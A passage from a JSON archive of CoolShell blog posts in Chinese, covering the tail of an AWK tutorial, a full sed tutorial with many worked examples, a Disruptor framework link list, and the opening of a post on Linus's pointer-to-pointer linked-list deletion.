4\n```\n\n再来看看统计每个用户的进程的占了多少内存（注：sum的RSS那一列）\n\n\n\n```\n$ ps aux | awk 'NR!=1{a[$1]+=$6;} END { for(i in a) print i \", \" a[i]\"KB\";}'\ndbus, 540KB\nmysql, 99928KB\nwww, 3264924KB\nroot, 63644KB\nhchen, 6020KB\n```\n\n#### 脱掉内衣\n\n\n##### awk脚本\n\n\n在上面我们可以看到一个END关键字。END的意思是“处理完所有的行的标识”，即然说到了END就有必要介绍一下BEGIN，这两个关键字意味着执行前和执行后的意思，语法如下：\n\n\n* BEGIN{ 这里面放的是执行前的语句 }\n* END {这里面放的是处理完所有的行后要执行的语句 }\n* {这里面放的是处理每一行时要执行的语句}\n\n\n为了说清楚这个事，我们来看看下面的示例：\n\n\n假设有这么一个文件（学生成绩表）：\n\n\n\n```\n$ cat score.txt\nMarry   2143 78 84 77\nJack    2321 66 78 45\nTom     2122 48 77 71\nMike    2537 87 97 95\nBob     2415 40 57 62\n```\n\n我们的awk脚本如下（我没有写有命令行上是因为命令行上不易读，另外也在介绍另一种用法）：\n\n\n\n```\n$ cat cal.awk\n#!/bin/awk -f\n#运行前\nBEGIN {\n    math = 0\n    english = 0\n    computer = 0\n\n    printf \"NAME    NO.   MATH  ENGLISH  COMPUTER   TOTAL\\n\"\n    printf \"---------------------------------------------\\n\"\n}\n#运行中\n{\n    math+=$3\n    english+=$4\n    computer+=$5\n    printf \"%-6s %-6s %4d %8d %8d %8d\\n\", $1, $2, $3,$4,$5, $3+$4+$5\n}\n#运行后\nEND {\n    printf \"---------------------------------------------\\n\"\n    printf \"  TOTAL:%10d %8d %8d \\n\", math, english, computer\n    printf \"AVERAGE:%10.2f %8.2f %8.2f\\n\", math/NR, english/NR, computer/NR\n}\n```\n\n我们来看一下执行结果：（也可以这样运行 ./cal.awk score.txt）\n\n\n\n```\n$ awk -f cal.awk score.txt\nNAME    NO.   MATH  ENGLISH  COMPUTER   TOTAL\n---------------------------------------------\nMarry  2143     78       84       77      239\nJack   2321     66       78       45      189\nTom    2122     48       77       71      196\nMike   2537     87       97       95      279\nBob    2415     40       57       62      159\n---------------------------------------------\n  TOTAL:       319      393      350\nAVERAGE:     63.80    78.60    70.00\n```\n\n##### 环境变量\n\n\n即然说到了脚本，我们来看看怎么和环境变量交互：（使用-v参数和ENVIRON，使用ENVIRON的环境变量需要export）\n\n\n\n```\n$ x=5\n\n$ y=10\n$ export y\n\n$ echo $x $y\n5 10\n\n$ awk -v val=$x '{print $1, $2, $3, $4+val, $5+ENVIRON[\"y\"]}' OFS=\"\\t\" score.txt\nMarry   2143    78      89      87\nJack    2321    66      83      55\nTom     2122    48      82      81\nMike    2537    87      102     105\nBob     2415    40      62      72\n\n```\n\n#### 几个花活\n\n\n最后，我们再来看几个小例子：\n\n\n\n```\n#从file文件中找出长度大于80的行\nawk 'length>80' file\n\n#按连接数查看客户端IP\nnetstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr\n\n#打印99乘法表\nseq 9 | sed 'H;g' | awk -v RS='' '{for(i=1;i<=NF;i++)printf(\"%dx%d=%d%s\", i, NR, i*NR, i==NR?\"\\n\":\"\\t\")}' \n```\n\n#### 自己撸吧\n\n\n关于其中的一些知识点可以参看[gawk的手册](http://www.gnu.org/software/gawk/manual/gawk.html)：\n\n\n* 内建变量，参看：<http://www.gnu.org/software/gawk/manual/gawk.html#Built_002din-Variables>\n* 流控方面，参看：<http://www.gnu.org/software/gawk/manual/gawk.html#Statements>\n* 内建函数，参看：<http://www.gnu.org/software/gawk/manual/gawk.html#Built_002din>\n* 正则表达式，参看：<http://www.gnu.org/software/gawk/manual/gawk.html#Regexp>\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\n* [![你可能不知道的Shell](../wp-content/uploads/2012/11/shell.01-150x150.png)](https://coolshell.cn/articles/8619.html)[你可能不知道的Shell](https://coolshell.cn/articles/8619.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![vfork 挂掉的一个问题](../wp-content/uploads/2014/11/tux-fork-150x150.gif)](https://coolshell.cn/articles/12103.html)[vfork 挂掉的一个问题](https://coolshell.cn/articles/12103.html)\nThe post [AWK 简明教程](https://coolshell.cn/articles/9070.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-2-20 sed 简明教程.md",
    "content": "---\nlayout: post\ntitle: sed 简明教程\ndate: 2013/2/20/ 0:36:48\nupdated: 2013/2/20/ 0:36:48\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2013/02/sed-superman.png)awk于1977年出生，今年36岁本命年，sed比awk大2-3岁，awk就像林妹妹，sed就是宝玉哥哥了。所以 [林妹妹跳了个Topless](https://coolshell.cn/articles/9070.html \"AWK 简明教程\")，他的哥哥sed坐不住了，也一定要出来抖一抖。\n\n\nsed全名叫stream editor，流编辑器，用程序的方式来编辑文本，相当的hacker啊。sed基本上就是玩正则模式匹配，所以，玩sed的人，正则表达式一般都比较强。\n\n\n同样，本篇文章不会说sed的全部东西，你可以参看[sed的手册](http://www.gnu.org/software/sed/manual/sed.html)，我这里主要还是想和大家竞争一下那些从手机指缝间或马桶里流走的时间，用这些时间来学习一些东西。当然，接下来的还是要靠大家自己双手。\n\n\n#### 用s命令替换\n\n\n我使用下面的这段文本做演示：\n\n\n\n```\n$ cat pets.txt\nThis is my cat\n  my cat's name is betty\nThis is my dog\n  my dog's name is frank\nThis is my fish\n  my fish's name is george\nThis is my goat\n  my goat's name is adam\n```\n\n把其中的my字符串替换成Hao Chen’s，下面的语句应该很好理解（s表示替换命令，/my/表示匹配my，/Hao Chen’s/表示把匹配替换成Hao Chen’s，/g 表示一行上的替换所有的匹配）：\n\n\n\n```\n$ sed \"s/my/Hao Chen's/g\" pets.txt\nThis is Hao Chen's cat\n  Hao Chen's cat's name is betty\nThis is Hao Chen's dog\n  Hao Chen's dog's name is frank\nThis is Hao Chen's fish\n  Hao Chen's fish's name is george\nThis is Hao Chen's goat\n  Hao Chen's goat's name is adam\n```\n\n注意：如果你要使用单引号，那么你没办法通过\\’这样来转义，就有双引号就可以了，在双引号内可以用\\”来转义。\n\n\n\n再注意：上面的sed并没有对文件的内容改变，只是把处理过后的内容输出，如果你要写回文件，你可以使用重定向，如：\n\n\n`$ sed \"s/my/Hao Chen's/g\" pets.txt > hao_pets.txt`\n\n\n或使用 -i 参数直接修改文件内容：\n\n\n`$ sed -i \"s/my/Hao Chen's/g\" pets.txt`\n\n\n在每一行最前面加点东西：\n\n\n\n```\n$ sed 's/^/#/g' pets.txt\n#This is my cat\n#  my cat's name is betty\n#This is my dog\n#  my dog's name is frank\n#This is my fish\n#  my fish's name is george\n#This is my goat\n#  my goat's name is adam\n```\n\n在每一行最后面加点东西：\n\n\n\n```\n$ sed 's/$/ --- /g' pets.txt\nThis is my cat ---\n  my cat's name is betty ---\nThis is my dog ---\n  my dog's name is frank ---\nThis is my fish ---\n  my fish's name is george ---\nThis is my goat ---\n  my goat's name is adam ---\n```\n\n顺手介绍一下正则表达式的一些最基本的东西：\n\n\n* `^` 表示一行的开头。如：`/^#/` 以#开头的匹配。\n* `$` 表示一行的结尾。如：`/}$/` 以}结尾的匹配。\n* `\\<` 表示词首。 如：`\\<abc` 表示以 abc 为首的詞。\n* `\\>` 表示词尾。 如：`abc\\>` 表示以 abc 結尾的詞。\n* `.` 表示任何单个字符。\n* `*` 表示某个字符出现了0次或多次。\n* `[ ]` 字符集合。 如：`[abc]` 表示匹配a或b或c，还有 `[a-zA-Z]` 表示匹配所有的26个字符。如果其中有^表示反，如 `[^a]` 表示非a的字符\n\n\n正规则表达式是一些很牛的事，比如我们要去掉某html中的tags：\n\n\n\n```\n\n\n<b>This</b> is what <span style=\"text-decoration: underline;\">I</span> meant. Understand?\n\n\n```\n\n看看我们的sed命令\n\n\n\n```\n\n# 如果你这样搞的话，就会有问题\n$ sed 's/<.*>//g' html.txt\n Understand?\n\n# 要解决上面的那个问题，就得像下面这样。\n# 其中的'[^>]' 指定了除了>的字符重复0次或多次。\n$ sed 's/<[^>]*>//g' html.txt\nThis is what I meant. Understand?\n```\n\n我们再来看看指定需要替换的内容：\n\n\n\n```\n$ sed \"3s/my/your/g\" pets.txt\nThis is my cat\n  my cat's name is betty\nThis is your dog\n  my dog's name is frank\nThis is my fish\n  my fish's name is george\nThis is my goat\n  my goat's name is adam\n```\n\n下面的命令只替换第3到第6行的文本。\n\n\n\n```\n$ sed \"3,6s/my/your/g\" pets.txt\nThis is my cat\n  my cat's name is betty\nThis is your dog\n  your dog's name is frank\nThis is your fish\n  your fish's name is george\nThis is my goat\n  my goat's name is adam\n```\n\n \n\n\n\n```\n$ cat my.txt\nThis is my cat, my cat's name is betty\nThis is my dog, my dog's name is frank\nThis is my fish, my fish's name is george\nThis is my goat, my goat's name is adam\n```\n\n只替换每一行的第一个s：\n\n\n\n```\n$ sed 's/s/S/1' my.txt\nThiS is my cat, my cat's name is betty\nThiS is my dog, my dog's name is frank\nThiS is my fish, my fish's name is george\nThiS is my goat, my goat's name is adam\n```\n\n只替换每一行的第二个s：\n\n\n\n```\n$ sed 's/s/S/2' my.txt\nThis iS my cat, my cat's name is betty\nThis iS my dog, my dog's name is frank\nThis iS my fish, my fish's name is george\nThis iS my goat, my goat's name is adam\n```\n\n只替换第一行的第3个以后的s：\n\n\n\n```\n$ sed 's/s/S/3g' my.txt\nThis is my cat, my cat'S name iS betty\nThis is my dog, my dog'S name iS frank\nThis is my fiSh, my fiSh'S name iS george\nThis is my goat, my goat'S name iS adam\n```\n\n#### 多个匹配\n\n\n如果我们需要一次替换多个模式，可参看下面的示例：（第一个模式把第一行到第三行的my替换成your，第二个则把第3行以后的This替换成了That）\n\n\n\n```\n$ sed '1,3s/my/your/g; 3,$s/This/That/g' my.txt\nThis is your cat, your cat's name is betty\nThis is your dog, your dog's name is frank\nThat is your fish, your fish's name is george\nThat is my goat, my goat's name is adam\n```\n\n上面的命令等价于：（注：下面使用的是sed的-e命令行参数）\n\n\n`sed -e '1,3s/my/your/g' -e '3,$s/This/That/g' my.txt`\n\n\n我们可以使用&来当做被匹配的变量，然后可以在基本左右加点东西。如下所示：\n\n\n\n```\n$ sed 's/my/[&]/g' my.txt\nThis is [my] cat, [my] cat's name is betty\nThis is [my] dog, [my] dog's name is frank\nThis is [my] fish, [my] fish's name is george\nThis is [my] goat, [my] goat's name is adam\n```\n\n#### 圆括号匹配\n\n\n使用圆括号匹配的示例：（圆括号括起来的正则表达式所匹配的字符串会可以当成变量来使用，sed中使用的是\\1,\\2…）\n\n\n\n```\n$ sed 's/This is my \\([^,&]*\\),.*is \\(.*\\)/\\1:\\2/g' my.txt\ncat:betty\ndog:frank\nfish:george\ngoat:adam\n```\n\n上面这个例子中的正则表达式有点复杂，解开如下（去掉转义字符）：\n\n\n正则为：This is my ([^,]\\*),.\\*is (.\\*)  \n\n匹配为：This is my (cat),……….is (betty)\n\n\n然后：\\1就是cat，\\2就是betty\n\n\n#### sed的命令\n\n\n让我们回到最一开始的例子pets.txt，让我们来看几个命令：\n\n\n##### N命令\n\n\n先来看N命令 —— 把下一行的内容纳入当成缓冲区做匹配。\n\n\n下面的的示例会把原文本中的偶数行纳入奇数行匹配，而s只匹配并替换一次，所以，就成了下面的结果：\n\n\n\n```\n$ sed 'N;s/my/your/' pets.txt\nThis is your cat\n  my cat's name is betty\nThis is your dog\n  my dog's name is frank\nThis is your fish\n  my fish's name is george\nThis is your goat\n  my goat's name is adam\n```\n\n也就是说，原来的文件成了：\n\n\n\n```\nThis is my cat\\n  my cat's name is betty\nThis is my dog\\n  my dog's name is frank\nThis is my fish\\n  my fish's name is george\nThis is my goat\\n  my goat's name is adam\n```\n\n这样一来，下面的例子你就明白了，\n\n\n\n```\n$ sed 'N;s/\\n/,/' pets.txt\nThis is my cat,  my cat's name is betty\nThis is my dog,  my dog's name is frank\nThis is my fish,  my fish's name is george\nThis is my goat,  my goat's name is adam\n```\n\n##### a命令和i命令\n\n\na命令就是append， i命令就是insert，它们是用来添加行的。如：\n\n\n\n```\n# 其中的1i表明，其要在第1行前插入一行（insert）\n$ sed \"1 i This is my monkey, my monkey's name is wukong\" my.txt\nThis is my monkey, my monkey's name is wukong\nThis is my cat, my cat's name is betty\nThis is my dog, my dog's name is frank\nThis is my fish, my fish's name is george\nThis is my goat, my goat's name is adam\n\n# 其中的1a表明，其要在最后一行后追加一行（append）\n$ sed \"$ a This is my monkey, my monkey's name is wukong\" my.txt\nThis is my cat, my cat's name is betty\nThis is my monkey, my monkey's name is wukong\nThis is my dog, my dog's name is frank\nThis is my fish, my fish's name is george\nThis is my goat, my goat's name is adam\n```\n\n我们可以运用匹配来添加文本：\n\n\n\n```\n# 注意其中的/fish/a，这意思是匹配到/fish/后就追加一行\n$ sed \"/fish/a This is my monkey, my monkey's name is wukong\" my.txt\nThis is my cat, my cat's name is betty\nThis is my dog, my dog's name is frank\nThis is my fish, my fish's name is george\nThis is my monkey, my monkey's name is wukong\nThis is my goat, my goat's name is adam\n```\n\n下面这个例子是对每一行都挺插入：\n\n\n\n```\n$ sed \"/my/a ----\" my.txt\nThis is my cat, my cat's name is betty\n----\nThis is my dog, my dog's name is frank\n----\nThis is my fish, my fish's name is george\n----\nThis is my goat, my goat's name is adam\n----\n```\n\n##### c命令\n\n\nc 命令是替换匹配行\n\n\n\n```\n$ sed \"2 c This is my monkey, my monkey's name is wukong\" my.txt\nThis is my cat, my cat's name is betty\nThis is my monkey, my monkey's name is wukong\nThis is my fish, my fish's name is george\nThis is my goat, my goat's name is adam\n\n$ sed \"/fish/c This is my monkey, my monkey's name is wukong\" my.txt\nThis is my cat, my cat's name is betty\nThis is my dog, my dog's name is frank\nThis is my monkey, my monkey's name is wukong\nThis is my goat, my goat's name is adam\n```\n\n##### d命令\n\n\n删除匹配行\n\n\n\n```\n$ sed '/fish/d' my.txt\nThis is my cat, my cat's name is betty\nThis is my dog, my dog's name is frank\nThis is my goat, my goat's name is adam\n\n$ sed '2d' my.txt\nThis is my cat, my cat's name is betty\nThis is my fish, my fish's name is george\nThis is my goat, my goat's name is adam\n\n$ sed '2,$d' my.txt\nThis is my cat, my cat's name is betty\n```\n\n##### p命令\n\n\n打印命令\n\n\n你可以把这个命令当成grep式的命令\n\n\n\n```\n# 匹配fish并输出，可以看到fish的那一行被打了两遍，\n# 这是因为sed处理时会把处理的信息输出\n$ sed '/fish/p' my.txt\nThis is my cat, my cat's name is betty\nThis is my dog, my dog's name is frank\nThis is my fish, my fish's name is george\nThis is my fish, my fish's name is george\nThis is my goat, my goat's name is adam\n\n# 使用n参数就好了\n$ sed -n '/fish/p' my.txt\nThis is my fish, my fish's name is george\n\n# 从一个模式到另一个模式\n$ sed -n '/dog/,/fish/p' my.txt\nThis is my dog, my dog's name is frank\nThis is my fish, my fish's name is george\n\n#从第一行打印到匹配fish成功的那一行\n$ sed -n '1,/fish/p' my.txt\nThis is my cat, my cat's name is betty\nThis is my dog, my dog's name is frank\nThis is my fish, my fish's name is george\n```\n\n#### 几个知识点\n\n\n好了，下面我们要介绍四个sed的基本知识点：\n\n\n##### Pattern Space\n\n\n第零个是关于-n参数的，大家也许没看懂，没关系，我们来看一下sed处理文本的伪代码，并了解一下Pattern Space的概念：\n\n\n\n```\nforeach line in file {\n    //放入把行Pattern_Space\n    Pattern_Space <= line;\n\n    // 对每个pattern space执行sed命令\n    Pattern_Space <= EXEC(sed_cmd, Pattern_Space);\n\n    // 如果没有指定 -n 则输出处理后的Pattern_Space\n    if (sed option hasn't \"-n\")  {\n       print Pattern_Space\n    }\n}\n```\n\n##### Address\n\n\n第一个是关于address，几乎上述所有的命令都是这样的（注：其中的!表示匹配成功后是否执行命令）\n\n\n**[address[,address]][!]{cmd}**\n\n\naddress可以是一个数字，也可以是一个模式，你可以通过逗号要分隔两个address 表示两个address的区间，参执行命令cmd，伪代码如下：\n\n\n\n```\n\nbool bexec = false\nforeach line in file {\n    if ( match(address1) ){\n        bexec = true;\n    }\n\n    if ( bexec == true) {\n        EXEC(sed_cmd);\n    }\n\n    if ( match (address2) ) {\n        bexec = false;\n    }\n}\n```\n\n关于address可以使用相对位置，如：\n\n\n\n```\n# 其中的+3表示后面连续3行\n$ sed '/dog/,+3s/^/# /g' pets.txt\nThis is my cat\n  my cat's name is betty\n# This is my dog\n#   my dog's name is frank\n# This is my fish\n#   my fish's name is george\nThis is my goat\n  my goat's name is adam\n```\n\n##### 命令打包\n\n\n第二个是cmd可以是多个，它们可以用分号分开，可以用大括号括起来作为嵌套命令。下面是几个例子：\n\n\n\n```\n$ cat pets.txt\nThis is my cat\n  my cat's name is betty\nThis is my dog\n  my dog's name is frank\nThis is my fish\n  my fish's name is george\nThis is my goat\n  my goat's name is adam\n\n# 对3行到第6行，执行命令/This/d\n$ sed '3,6 {/This/d}' pets.txt\nThis is my cat\n  my cat's name is betty\n  my dog's name is frank\n  my fish's name is george\nThis is my goat\n  my goat's name is adam\n\n# 对3行到第6行，匹配/This/成功后，再匹配/fish/，成功后执行d命令\n$ sed '3,6 {/This/{/fish/d}}' pets.txt\nThis is my cat\n  my cat's name is betty\nThis is my dog\n  my dog's name is frank\n  my fish's name is george\nThis is my goat\n  my goat's name is adam\n\n# 从第一行到最后一行，如果匹配到This，则删除之；如果前面有空格，则去除空格\n$ sed '1,${/This/d;s/^ *//g}' pets.txt\nmy cat's name is betty\nmy dog's name is frank\nmy fish's name is george\nmy goat's name is adam \n```\n\n##### Hold Space\n\n\n第三个我们再来看一下 Hold Space\n\n\n接下来，我们需要了解一下Hold Space的概念，我们先来看四个命令：\n\n\ng： 将hold space中的内容拷贝到pattern space中，原来pattern space里的内容清除  \n\nG： 将hold space中的内容append到pattern space\\n后  \n\nh： 将pattern space中的内容拷贝到hold space中，原来的hold space里的内容被清除  \n\nH： 将pattern space中的内容append到hold space\\n后  \n\nx： 交换pattern space和hold space的内容\n\n\n这些命令有什么用？我们来看两个示例吧，用到的示例文件是：\n\n\n\n```\n$ cat t.txt\none\ntwo\nthree\n```\n\n第一个示例：\n\n\n\n```\n$ sed 'H;g' t.txt\none\n\none\ntwo\n\none\ntwo\nthree\n```\n\n是不是有点没看懂，我作个图你就看懂了。\n\n\n![](../wp-content/uploads/2013/02/sed_demo_00.jpg)\n\n\n第二个示例，反序了一个文件的行：\n\n\n\n```\n$ sed '1!G;h;$!d' t.txt\nthree\ntwo\none\n```\n\n其中的 ‘1!G;h;$!d’ 可拆解为三个命令\n\n\n* 1!G —— 只有第一行不执行G命令，将hold space中的内容append回到pattern space\n* h —— 第一行都执行h命令，将pattern space中的内容拷贝到hold space中\n* $!d —— 除了最后一行不执行d命令，其它行都执行d命令，删除当前行\n\n\n这个执行序列很难理解，做个图如下大家就明白了：\n\n\n![](../wp-content/uploads/2013/02/sed_demo.jpg)\n\n\n就先说这么多吧，希望对大家有用。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![vfork 挂掉的一个问题](../wp-content/uploads/2014/11/tux-fork-150x150.gif)](https://coolshell.cn/articles/12103.html)[vfork 挂掉的一个问题](https://coolshell.cn/articles/12103.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [![AWK 简明教程](../wp-content/uploads/2013/02/awk-150x150.jpg)](https://coolshell.cn/articles/9070.html)[AWK 简明教程](https://coolshell.cn/articles/9070.html)\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\nThe post [sed 简明教程](https://coolshell.cn/articles/9104.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-2-28 并发框架Disruptor译文.md",
    "content": "---\nlayout: post\ntitle: 并发框架Disruptor译文\ndate: 2013/2/28/ 12:13:46\nupdated: 2013/2/28/ 12:13:46\nstatus: publish\npublished: true\ntype: post\n---\n\n**（感谢同事[方腾飞](http://ifeve.com)投递本文）**\n\n\n![](../wp-content/uploads/2013/02/Disruptor-300x144.png)Martin Fowler在自己网站上写了一篇[LMAX架构](http://ifeve.com/lmax)的文章，在文章中他介绍了LMAX是一种新型零售金融交易平台，它能够以很低的延迟产生大量交易。这个系统是建立在JVM平台上，其核心是一个业务逻辑处理器，它能够在一个线程里每秒处理6百万订单。业务逻辑处理器完全是运行在内存中，使用事件源驱动方式。业务逻辑处理器的核心是Disruptor。\n\n\nDisruptor它是一个开源的并发框架，并获得[2011 Duke’s](http://www.java.net/dukeschoice)程序框架创新奖，能够在无锁的情况下实现网络的Queue并发操作。本文是[Disruptor官网](https://code.google.com/p/disruptor/wiki/BlogsAndArticles)中发布的文章的译文（[现在被移到了GitHub](http://lmax-exchange.github.com/disruptor/)）。\n\n\n#### **剖析Disruptor:为什么会这么快**\n\n\n* [剖析Disruptor:为什么会这么快？(一)锁的缺点](http://ifeve.com/locks-are-bad/)\n\n\n* [剖析Disruptor:为什么会这么快？(二)神奇的缓存行填充](http://ifeve.com/disruptor-cacheline-padding/ \"剖析Disruptor:为什么会这么快？（二）神奇的缓存行填充\")\n\n\n* [剖析Disruptor:为什么会这么快？(三)伪共享](http://ifeve.com/falsesharing/ \"伪共享(False Sharing)\")\n\n\n* [剖析Disruptor:为什么会这么快？(四)揭秘内存屏障](http://ifeve.com/disruptor-memory-barrier/ \"剖析Disruptor:为什么会这么快？(四)揭秘内存屏障\")\n\n\n#### Disruptor如何工作和使用\n\n\n* [如何使用Disruptor（一）Ringbuffer的特别之处](http://ifeve.com/dissecting-disruptor-whats-so-special/ \"剖析Disruptor:为什么会这么快？（一）Ringbuffer的特别之处\")\n\n\n* [如何使用Disruptor（二）如何从Ringbuffer读取](http://ifeve.com/dissecting_the_disruptor_how_doi_read_from_the_ring_buffer/ \"如何使用Disruptor（二）如何从Ringbuffer读取\")\n\n\n* [如何使用Disruptor（三）写入Ringbuffer](http://ifeve.com/disruptor-writing-ringbuffer/ \"如何使用 Disruptor（三）写入 Ringbuffer\")\n\n\n\n* [Disruptor(无锁并发框架)-发布](http://ifeve.com/the-disruptor-lock-free-publishing/ \"Disruptor(无锁并发框架)-发布\")\n\n\n* [LMAX Disruptor——一个高性能、低延迟且简单的框架](http://ifeve.com/disruptor-dsl/ \"LMAX Disruptor——一个高性能、低延迟且简单的框架\")\n\n\n* [Disruptor Wizard已死，Disruptor Wizard永存！](http://ifeve.com/disruptor-wizard/ \"Disruptor Wizard已死，Disruptor Wizard永存！\")\n\n\n* [Disruptor 2.0更新摘要](http://ifeve.com/disruptor-2-change/ \"Disruptor 2.0更新摘要\")\n\n\n* [线程间共享数据不需要竞争](http://ifeve.com/sharing-data-among-threads-without-contention/ \"线程间共享数据无需竞争\")\n\n\n#### Disruptor的应用\n\n\n* [LMAX的架构](http://ifeve.com/lmax/ \"LMAX架构\")\n\n\n* [通过Axon和Disruptor处理1M tps](http://ifeve.com/axon/ \"通过Axon和Disruptor处理1M tps\")\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![无锁HashMap的原理与实现](../wp-content/uploads/2013/05/图1-3-150x150.jpg)](https://coolshell.cn/articles/9703.html)[无锁HashMap的原理与实现](https://coolshell.cn/articles/9703.html)\n* [![ETCD的内存问题](../wp-content/uploads/2022/05/etcd-150x150.png)](https://coolshell.cn/articles/22242.html)[ETCD的内存问题](https://coolshell.cn/articles/22242.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![性能测试应该怎么做？](../wp-content/uploads/2016/07/PerfTest-150x150.png)](https://coolshell.cn/articles/17381.html)[性能测试应该怎么做？](https://coolshell.cn/articles/17381.html)\nThe post [并发框架Disruptor译文](https://coolshell.cn/articles/9169.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-2-4 Linus：利用二级指针删除单向链表.md",
    "content": "---\nlayout: post\ntitle: Linus：利用二级指针删除单向链表\ndate: 2013/2/4/ 0:33:20\nupdated: 2013/2/4/ 0:33:20\nstatus: publish\npublished: true\ntype: post\n---\n\n**感谢网友full\\_of\\_bull投递此文**（注：此文最初发表在这个[这里](http://www.oldlinux.org/oldlinux/viewthread.php?tid=14575&extra=page%3D1)，我对原文后半段修改了许多，并加入了插图）\n\n\nLinus大婶在[slashdot](http://meta.slashdot.org/story/12/10/11/0030249/linus-torvalds-answers-your-questions)上回答一些编程爱好者的提问，其中一个人问他什么样的代码是他所喜好的，大婶表述了自己一些观点之后，举了一个指针的例子，解释了什么才是**core low-level coding**。\n\n\n下面是Linus的教学原文及翻译——\n\n\n“At the opposite end of the spectrum, I actually wish more people understood the really core low-level kind of coding. Not big, complex stuff like the lockless name lookup, but simply good use of pointers-to-pointers etc. For example, I’ve seen too many people who delete a singly-linked list entry by keeping track of the “prev” entry, and then to delete the entry, doing something like。（在这段话的最后，我实际上希望更多的人了解什么是真正的核心底层代码。这并不像无锁文件名查询（注：可能是git源码里的设计）那样庞大、复杂，只是仅仅像诸如使用二级指针那样简单的技术。例如，我见过很多人在删除一个单项链表的时候，维护了一个”prev”表项指针，然后删除当前表项，就像这样）”\n\n\n\n```\nif (prev)\n    prev->next = entry->next;\nelse\n    list_head = entry->next;\n```\n\nand whenever I see code like that, I just go “This person doesn’t understand pointers”. And it’s sadly quite common.（当我看到这样的代码时，我就会想“这个人不了解指针”。令人难过的是这太常见了。）\n\n\n\nPeople who understand pointers just use a “pointer to the entry pointer”, and initialize that with the address of the list\\_head. And then as they traverse the list, they can remove the entry without using any conditionals, by just doing a “\\*pp = entry->next”. （了解指针的人会使用链表头的地址来初始化一个“指向节点指针的指针”。当遍历链表的时候，可以不用任何条件判断（注：指prev是否为链表头）就能移除某个节点，只要写)\n\n\n`*pp = entry->next`\n\n\nSo there’s lots of pride in doing the small details right. It may not be big and important code, but I do like seeing code where people really thought about the details, and clearly also were thinking about the compiler being able to generate efficient code (rather than hoping that the compiler is so smart that it can make efficient code \\*despite\\* the state of the original source code). （纠正细节是令人自豪的事。也许这段代码并非庞大和重要，**但我喜欢看那些注重代码细节的人写的代码，也就是清楚地了解如何才能编译出有效代码**（而不是寄望于聪明的编译器来产生有效代码，即使是那些原始的汇编代码））。\n\n\nLinus举了一个单向链表的例子，但给出的代码太短了，一般的人很难搞明白这两个代码后面的含义。正好，有个编程爱好者阅读了这段话，并给出了一个[比较完整的代码](http://wordaligned.org/articles/two-star-programming)。他的话我就不翻译了，下面给出代码说明。\n\n\n如果我们需要写一个remove\\_if(link\\*, rm\\_cond\\_func\\*)的函数，也就是传入一个单向链表，和一个自定义的是否删除的函数，然后返回处理后的链接。\n\n\n这个代码不难，基本上所有的教科书都会提供下面的代码示例，而这种写法也是大公司的面试题**标准**模板：\n\n\n\n```\ntypedef struct node\n{\n    struct node * next;\n    ....\n} node;\n\ntypedef bool (* remove_fn)(node const * v);\n\n// Remove all nodes from the supplied list for which the\n// supplied remove function returns true.\n// Returns the new head of the list.\nnode * remove_if(node * head, remove_fn rm)\n{\n    for (node * prev = NULL, * curr = head; curr != NULL; )\n    {\n        node * const next = curr->next;\n        if (rm(curr))\n        {\n            if (prev)\n                prev->next = next;\n            else\n                head = next;\n            free(curr);\n        }\n        else\n            prev = curr;\n        curr = next;\n    }\n    return 